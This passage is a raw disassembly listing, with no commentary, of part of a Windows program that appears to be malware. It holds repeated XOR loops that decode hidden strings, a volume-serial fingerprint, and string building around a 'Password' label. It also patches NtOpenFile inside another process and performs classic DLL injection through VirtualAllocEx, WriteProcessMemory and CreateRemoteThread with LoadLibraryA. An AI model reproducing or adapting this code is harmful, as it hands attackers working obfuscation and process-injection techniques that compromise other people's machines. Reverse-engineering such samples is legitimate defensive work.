lea rcx, [rbp + 0x2868]
call fcn.1400675e0
mov rdx, rax
lea rcx, [rbp + 0x2828]
call fcn.1400675e0
jmp 0x14005f8c8
lea rcx, [rbp + 0x2888]
lea rbx, [rbp + 0x2888]
call fcn.140053060
mov rdx, rax
lea rcx, [rbp + 0x2808]
call fcn.140064b40
mov rcx, rbx
call fcn.140064ae0
lea rdx, [rbp + 0x630]
lea rcx, [rbp + 0x90]
call fcn.140062f60
movzx ecx, byte [rax + 0xa]
test cl, cl
je 0x14005f92b
xor byte [rax], 0x32
xor byte [rax + 1], 0x33
xor byte [rax + 2], 0x34
xor byte [rax + 3], 0x35
xor byte [rax + 4], 0x36
xor byte [rax + 5], 0x37
xor byte [rax + 6], 0x38
xor byte [rax + 7], 0x39
xor byte [rax + 8], 0x3a
xor byte [rax + 9], 0x3b
xor cl, 0x3c
mov byte [rax + 0xa], cl
mov rdx, rax
lea rcx, [rbp + 0x28a8]
call fcn.140064bd0
lea rdx, [rbp + 0x3150]
mov r12, rax
lea rcx, [rbp + 0x91]
call fcn.140062f30
mov rbx, rax
cmp byte [rax + 0x27], r15b
je 0x14005faa1
cmp r13d, 2
jl 0x14005fa6a
movdqa xmmword [rbp], xmm11
mov edx, r15d
mov r8d, dword [rbp]
mov rcx, rax
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
movdqa xmm0, xmm2
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm2
add edx, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, r8d
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp edx, 0x28
jl 0x14005f980
jmp 0x14005faa1
mov r9, rbx
mov r8d, r15d
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x28
jl 0x14005fa70
lea rdx, [rbp + 0x4a0]
lea rcx, [rbp + 0x92]
call fcn.140062f10
movzx ecx, byte [rax + 8]
test cl, cl
je 0x14005fae5
xor byte [rax], 0x32
xor byte [rax + 1], 0x33
xor byte [rax + 2], 0x34
xor byte [rax + 3], 0x35
xor byte [rax + 4], 0x36
xor byte [rax + 5], 0x37
xor byte [rax + 6], 0x38
xor byte [rax + 7], 0x39
xor cl, 0x3a
mov byte [rax + 8], cl
mov rdx, rax
lea rcx, [rbp + 0x28c8]
call fcn.140064bd0
lea rdx, [rbp + 0x540]
mov r14, rax
lea rcx, [rbp + 0x93]
call fcn.140062ef0
movzx ecx, byte [rax + 9]
test cl, cl
je 0x14005fb3f
xor byte [rax], 0x32
xor byte [rax + 1], 0x33
xor byte [rax + 2], 0x34
xor byte [rax + 3], 0x35
xor byte [rax + 4], 0x36
xor byte [rax + 5], 0x37
xor byte [rax + 6], 0x38
xor byte [rax + 7], 0x39
xor byte [rax + 8], 0x3a
xor cl, 0x3b
mov byte [rax + 9], cl
mov rdx, rax
lea rcx, [rbp + 0x28e8]
call fcn.140064bd0
lea rdx, [rbp + 0x580]
mov rsi, rax
lea rcx, [rbp + 0x94]
call fcn.140062e50
movzx ecx, byte [rax + 0xa]
test cl, cl
je 0x14005fb9d
xor byte [rax], 0x32
xor byte [rax + 1], 0x33
xor byte [rax + 2], 0x34
xor byte [rax + 3], 0x35
xor byte [rax + 4], 0x36
xor byte [rax + 5], 0x37
xor byte [rax + 6], 0x38
xor byte [rax + 7], 0x39
xor byte [rax + 8], 0x3a
xor byte [rax + 9], 0x3b
xor cl, 0x3c
mov byte [rax + 0xa], cl
mov rdx, rax
lea rcx, [rbp + 0x2908]
call fcn.140064bd0
lea rdx, [rbp + 0x3498]
mov rdi, rax
lea rcx, [rbp + 0x95]
call fcn.140062e10
mov r10, rax
cmp byte [rax + 0x2c], r15b
je 0x14005fd21
mov r8d, r15d
cmp r13d, 2
jl 0x14005fce1
movdqa xmmword [rbp], xmm11
mov rcx, rax
mov edx, dword [rbp]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
movdqa xmm0, xmm2
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x28
jl 0x14005fbf0
cmp r8d, 0x2d
jge 0x14005fd21
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x2d
jl 0x14005fcf0
mov rdx, r10
lea rcx, [rbp + 0x2928]
call fcn.140064bd0
mov rdx, rax
lea r8, [0x140086268]
lea rcx, [rbp + 0x2948]
call fcn.1400655a0
mov r8, rdi
lea rcx, [rbp + 0x2968]
mov rdx, rax
call fcn.140065610
mov rdx, rax
lea r8, str.Password
lea rcx, [rbp + 0x2988]
call fcn.1400655a0
mov r8, rsi
lea rcx, [rbp + 0x29a8]
mov rdx, rax
call fcn.140065610
mov rdx, rax
lea r8, [0x140077bfc]
lea rcx, [rbp + 0x29c8]
call fcn.1400655a0
mov r8, r14
lea rcx, [rbp + 0x29e8]
mov rdx, rax
call fcn.140065610
mov r8, rbx
lea rcx, [rbp + 0x2a08]
mov rdx, rax
call fcn.1400655a0
mov r8, r12
lea rcx, [rbp + 0x2a28]
mov rdx, rax
call fcn.140065610
lea r8, [rbp + 0x2808]
mov rdx, rax
lea rcx, [rbp + 0x2a48]
call fcn.140065610
mov rdx, rax
lea rcx, [rbp + 0x3b10]
call fcn.140051cd0
lea rcx, [rbp + 0x2a28]
call fcn.140064ae0
lea rcx, [rbp + 0x2a08]
call fcn.140064ae0
lea rcx, [rbp + 0x29e8]
call fcn.140064ae0
lea rcx, [rbp + 0x29c8]
call fcn.140064ae0
lea rcx, [rbp + 0x29a8]
call fcn.140064ae0
lea rcx, [rbp + 0x2988]
call fcn.140064ae0
lea rcx, [rbp + 0x2968]
call fcn.140064ae0
lea rcx, [rbp + 0x2948]
call fcn.140064ae0
lea rcx, [rbp + 0x2928]
call fcn.140064ae0
lea rcx, [rbp + 0x2908]
call fcn.140064ae0
lea rcx, [rbp + 0x28e8]
call fcn.140064ae0
lea rcx, [rbp + 0x28c8]
call fcn.140064ae0
lea rcx, [rbp + 0x28a8]
call fcn.140064ae0
lea rcx, [rbp + 0x2808]
call fcn.140064ae0
lea rcx, [rbp + 0x2a68]
call fcn.140053060
lea rdx, [rbp + 0xd0]
lea rcx, [rbp + 0x96]
call fcn.140050a10
mov r10, rax
cmp byte [rax + 3], r15b
je 0x14005ff71
cmp r13d, 2
jl 0x14005ff2e
movdqa xmm1, xmm7
movdqa xmm0, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm7
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, dword [rax]
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm11
xorps xmm1, xmm0
movd dword [rax], xmm1
jmp 0x14005ff71
mov r9, r10
mov r8d, r15d
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 4
jl 0x14005ff40
mov dword [rsp + 0x38], r15d
lea r9, [rbp + 0x3940]
mov qword [rsp + 0x30], r15
xor r8d, r8d
mov qword [rsp + 0x28], r15
xor edx, edx
mov rcx, r10
mov qword [rsp + 0x20], r15
call qword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
test eax, eax
je 0x14005ffe5
mov edx, dword [rbp + 0x3940]
lea rcx, [rbp + 0x2aa8]
lea rbx, [rbp + 0x2a88]
lea edx, [rdx*8 - 4]
call fcn.1400509e0
mov rdx, rax
lea rcx, [rbp + 0x2ac8]
call fcn.1400675e0
mov rdx, rax
lea rcx, [rbp + 0x2a88]
call fcn.1400675e0
jmp 0x14005fff8
lea rcx, [rbp + 0x2ae8]
lea rbx, [rbp + 0x2ae8]
call fcn.140053060
mov rdx, rax
lea rcx, [rbp + 0x2a68]
call fcn.140064b40
mov rcx, rbx
call fcn.140064ae0
lea rdx, [rbp + 0x5e0]
lea rcx, [rbp + 0x97]
call fcn.140062f60
movzx ecx, byte [rax + 0xa]
test cl, cl
je 0x14006005b
xor byte [rax], 0x32
xor byte [rax + 1], 0x33
xor byte [rax + 2], 0x34
xor byte [rax + 3], 0x35
xor byte [rax + 4], 0x36
xor byte [rax + 5], 0x37
xor byte [rax + 6], 0x38
xor byte [rax + 7], 0x39
xor byte [rax + 8], 0x3a
xor byte [rax + 9], 0x3b
xor cl, 0x3c
mov byte [rax + 0xa], cl
mov rdx, rax
lea rcx, [rbp + 0x2b08]
call fcn.140064bd0
lea rdx, [rbp + 0x590]
mov rdi, rax
lea rcx, [rbp + 0x98]
call fcn.140062e50
movzx ecx, byte [rax + 0xa]
test cl, cl
je 0x1400600b9
xor byte [rax], 0x32
xor byte [rax + 1], 0x33
xor byte [rax + 2], 0x34
xor byte [rax + 3], 0x35
xor byte [rax + 4], 0x36
xor byte [rax + 5], 0x37
xor byte [rax + 6], 0x38
xor byte [rax + 7], 0x39
xor byte [rax + 8], 0x3a
xor byte [rax + 9], 0x3b
xor cl, 0x3c
mov byte [rax + 0xa], cl
mov rdx, rax
lea rcx, [rbp + 0x2b28]
call fcn.140064bd0
lea rdx, [rbp + 0x3468]
mov rbx, rax
lea rcx, [rbp + 0x99]
call fcn.140062e10
mov r9, rax
cmp byte [rax + 0x2c], r15b
je 0x140060231
cmp r13d, 2
jl 0x1400601f4
movdqa xmmword [rbp], xmm11
mov rcx, rax
mov edx, dword [rbp]
movd xmm2, r15d
lea eax, [r15 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
movdqa xmm0, xmm2
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm2
add r15d, 8
pmuldq xmm0, xmm6
mov eax, r15d
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r15d, 0x28
jl 0x140060101
cmp eax, 0x2d
jge 0x140060231
movsxd r8, r15d
add r8, r9
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r8, [r8 + 1]
imul r15d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r15b
inc r15d
sub al, cl
add al, 0x32
xor byte [r8 - 1], al
cmp r15d, 0x2d
jl 0x140060200
mov rdx, r9
lea rcx, [rbp + 0x2b48]
call fcn.140064bd0
mov rdx, rax
lea r8, [0x140086268]
lea rcx, [rbp + 0x2b68]
call fcn.1400655a0
mov r8, rbx
lea rcx, [rbp + 0x2b88]
mov rdx, rax
call fcn.140065610
mov rdx, rax
lea r8, str.Password
lea rcx, [rbp + 0x2ba8]
call fcn.1400655a0
mov r8, rdi
lea rcx, [rbp + 0x2bc8]
mov rdx, rax
call fcn.140065610
lea r8, [rbp + 0x2a68]
mov rdx, rax
lea rcx, [rbp + 0x2be8]
call fcn.140065610
mov rdx, rax
lea rcx, [rbp + 0x3a30]
call fcn.140051cd0
lea rcx, [rbp + 0x2bc8]
call fcn.140064ae0
lea rcx, [rbp + 0x2ba8]
call fcn.140064ae0
lea rcx, [rbp + 0x2b88]
call fcn.140064ae0
lea rcx, [rbp + 0x2b68]
call fcn.140064ae0
lea rcx, [rbp + 0x2b48]
call fcn.140064ae0
lea rcx, [rbp + 0x2b28]
call fcn.140064ae0
lea rcx, [rbp + 0x2b08]
call fcn.140064ae0
lea rcx, [rbp + 0x2a68]
call fcn.140064ae0
mov ecx, 0xffffffff
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov ecx, 0xffffffff
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov ecx, 0xffffffff
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rdx, [rbp + 0xee0]
lea rcx, [rbp + 0x9a]
call fcn.140063670
mov rsi, rax
cmp byte [rax + 0x17], r15b
je 0x1400604a1
cmp r13d, 2
jl 0x14006046a
movdqa xmmword [rbp], xmm11
mov edx, r15d
mov r8d, dword [rbp]
mov rcx, rax
nop
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
movdqa xmm0, xmm2
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm2
add edx, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, r8d
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp edx, 0x18
jl 0x140060380
jmp 0x1400604a1
mov r9, rsi
mov r8d, r15d
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x18
jl 0x140060470
lea rdx, [rbp + 0x730]
lea rcx, [rbp + 0x9b]
call fcn.1400636e0
mov rbx, rax
cmp byte [rax + 0xe], r15b
je 0x1400605d2
mov r8d, r15d
cmp r13d, 2
jl 0x14006059b
movd eax, xmm11
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
mov r8d, 8
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm7
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [rbx]
xorps xmm1, xmm0
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
movd dword [rbx], xmm1
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm12, xmm0
movd xmm0, eax
andps xmm12, xmm8
packuswb xmm12, xmm12
packuswb xmm12, xmm12
paddb xmm12, xmm0
movd xmm0, dword [rbx + 4]
xorps xmm12, xmm0
movd dword [rbx + 4], xmm12
movsxd r9, r8d
add r9, rbx
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xf
jl 0x1400605a1
mov rcx, rbx
call fcn.140052400
mov ecx, 0x1e
mov edi, eax
call qword [sym.imp.KERNEL32.dll_Sleep]
test edi, edi
je 0x1400605d2
mov r8d, edi
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x1400606ef
cmp rax, 0xffffffffffffffff
je 0x1400606e6
lea rcx, str.ntdll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rcx, rax
lea rdx, str.NtOpenFile
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140060667
mov ecx, dword [rax]
lea r8, [rbp + 0x3ee0]
mov dword [rbp + 0x3ee0], ecx
mov r9d, 5
movzx ecx, byte [rax + 4]
mov rdx, rax
mov byte [rbp + 0x3ee4], cl
mov rcx, rbx
mov qword [rsp + 0x20], r15
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
xor edx, edx
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov r8d, 0x104
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
mov r9, 0xffffffffffffffff
inc r9
cmp byte [rsi + r9], r15b
jne 0x140060690
inc r9
mov qword [rsp + 0x20], r15
mov r8, rsi
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov r9, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
xor r8d, r8d
mov qword [rsp + 0x30], r15
xor edx, edx
mov dword [rsp + 0x28], r15d
mov rcx, rbx
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test rax, rax
je 0x1400606e6
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp + 0x2c08]
call fcn.140053060
lea rdx, [rbp + 0xc4]
lea rcx, [rbp + 0x9c]
call fcn.140050a10
mov r10, rax
cmp byte [rax + 3], r15b
je 0x1400607c1
cmp r13d, 2
jl 0x140060784
movdqa xmm1, xmm7
movdqa xmm0, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm7
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, dword [rax]
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm11
xorps xmm1, xmm0
movd dword [rax], xmm1
jmp 0x1400607c1
mov r9, r10
mov r8d, r15d
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 4
jl 0x140060790
mov dword [rsp + 0x38], r15d
lea r9, [rbp + 0x393c]
mov qword [rsp + 0x30], r15
xor r8d, r8d
mov qword [rsp + 0x28], r15
xor edx, edx
mov rcx, r10
mov qword [rsp + 0x20], r15
call qword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
test eax, eax
je 0x140060844
mov edx, dword [rbp + 0x393c]
lea rcx, [rbp + 0x2c28]
lea edx, [rdx*8 - 4]
call fcn.1400509e0
mov rdx, rax
lea rcx, [rbp + 0x2c48]
call fcn.1400675e0
mov rdx, rax
lea rcx, [rbp + 0x2c68]
call fcn.1400675e0
mov rdx, rax
lea rcx, [rbp + 0x2c08]
call fcn.140064b40
lea rcx, [rbp + 0x2c68]
jmp 0x140060866
lea rcx, [rbp + 0x2c88]
call fcn.140053060
mov rdx, rax
lea rcx, [rbp + 0x2c08]
call fcn.140064b40
lea rcx, [rbp + 0x2c88]
call fcn.140064ae0
lea rdx, [rbp + 0x150]
lea rcx, [rbp + 0x9d]
call fcn.140062e80
movzx ecx, byte [rax + 6]
test cl, cl
je 0x1400608a7
xor byte [rax], 0x32
xor byte [rax + 1], 0x33
xor byte [rax + 2], 0x34
xor byte [rax + 3], 0x35
xor byte [rax + 4], 0x36
xor byte [rax + 5], 0x37
xor cl, 0x38
mov byte [rax + 6], cl
mov rdx, rax
lea rcx, [rbp + 0x2ca8]
call fcn.140064bd0
lea rdx, [rbp + 0x2fc0]
mov r12, rax
lea rcx, [rbp + 0x9e]
call fcn.140063770
mov rbx, rax
cmp byte [rax + 0x21], r15b
je 0x140060a21
mov r8d, r15d
cmp r13d, 2
jl 0x1400609e3
movdqa xmmword [rbp], xmm11
mov rcx, rax
mov edx, dword [rbp]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
movdqa xmm0, xmm2
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x20
jl 0x1400608f2
cmp r8d, 0x22
jge 0x140060a21
movsxd r9, r8d
add r9, rbx
nop dword [rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x22
jl 0x1400609f0
lea rdx, [rbp + 0x490]
lea rcx, [rbp + 0x9f]
call fcn.140062f10
movzx ecx, byte [rax + 8]
test cl, cl
je 0x140060a65
xor byte [rax], 0x32
xor byte [rax + 1], 0x33
xor byte [rax + 2], 0x34
xor byte [rax + 3], 0x35
xor byte [rax + 4], 0x36
xor byte [rax + 5], 0x37
xor byte [rax + 6], 0x38
xor byte [rax + 7], 0x39
xor cl, 0x3a
mov byte [rax + 8], cl
mov rdx, rax
lea rcx, [rbp + 0x2cc8]
call fcn.140064bd0
lea rdx, [rbp + 0x550]
mov r14, rax
lea rcx, [rbp + 0xa0]
call fcn.140062ef0
movzx ecx, byte [rax + 9]
test cl, cl
je 0x140060abf
xor byte [rax], 0x32
xor byte [rax + 1], 0x33
xor byte [rax + 2], 0x34
xor byte [rax + 3], 0x35
xor byte [rax + 4], 0x36
xor byte [rax + 5], 0x37
xor byte [rax + 6], 0x38
xor byte [rax + 7], 0x39
xor byte [rax + 8], 0x3a
xor cl, 0x3b
mov byte [rax + 9], cl
mov rdx, rax
lea rcx, [rbp + 0x2ce8]
call fcn.140064bd0
lea rdx, [rbp + 0x5a0]
mov rsi, rax
lea rcx, [rbp + 0xa1]
call fcn.140062e50
movzx ecx, byte [rax + 0xa]
test cl, cl
je 0x140060b1d
xor byte [rax], 0x32
xor byte [rax + 1], 0x33
xor byte [rax + 2], 0x34
xor byte [rax + 3], 0x35
xor byte [rax + 4], 0x36
xor byte [rax + 5], 0x37
xor byte [rax + 6], 0x38
xor byte [rax + 7], 0x39
xor byte [rax + 8], 0x3a
xor byte [rax + 9], 0x3b
xor cl, 0x3c
mov byte [rax + 0xa], cl
mov rdx, rax
lea rcx, [rbp + 0x2d08]
call fcn.140064bd0
lea rdx, [rbp + 0x34f8]
mov rdi, rax
lea rcx, [rbp + 0xa2]
call fcn.140062e10
mov r10, rax
cmp byte [rax + 0x2c], r15b
je 0x140060ca1
mov r8d, r15d
cmp r13d, 2
jl 0x140060c61
movdqa xmmword [rbp], xmm11
mov rcx, rax
mov edx, dword [rbp]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
movdqa xmm0, xmm2
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
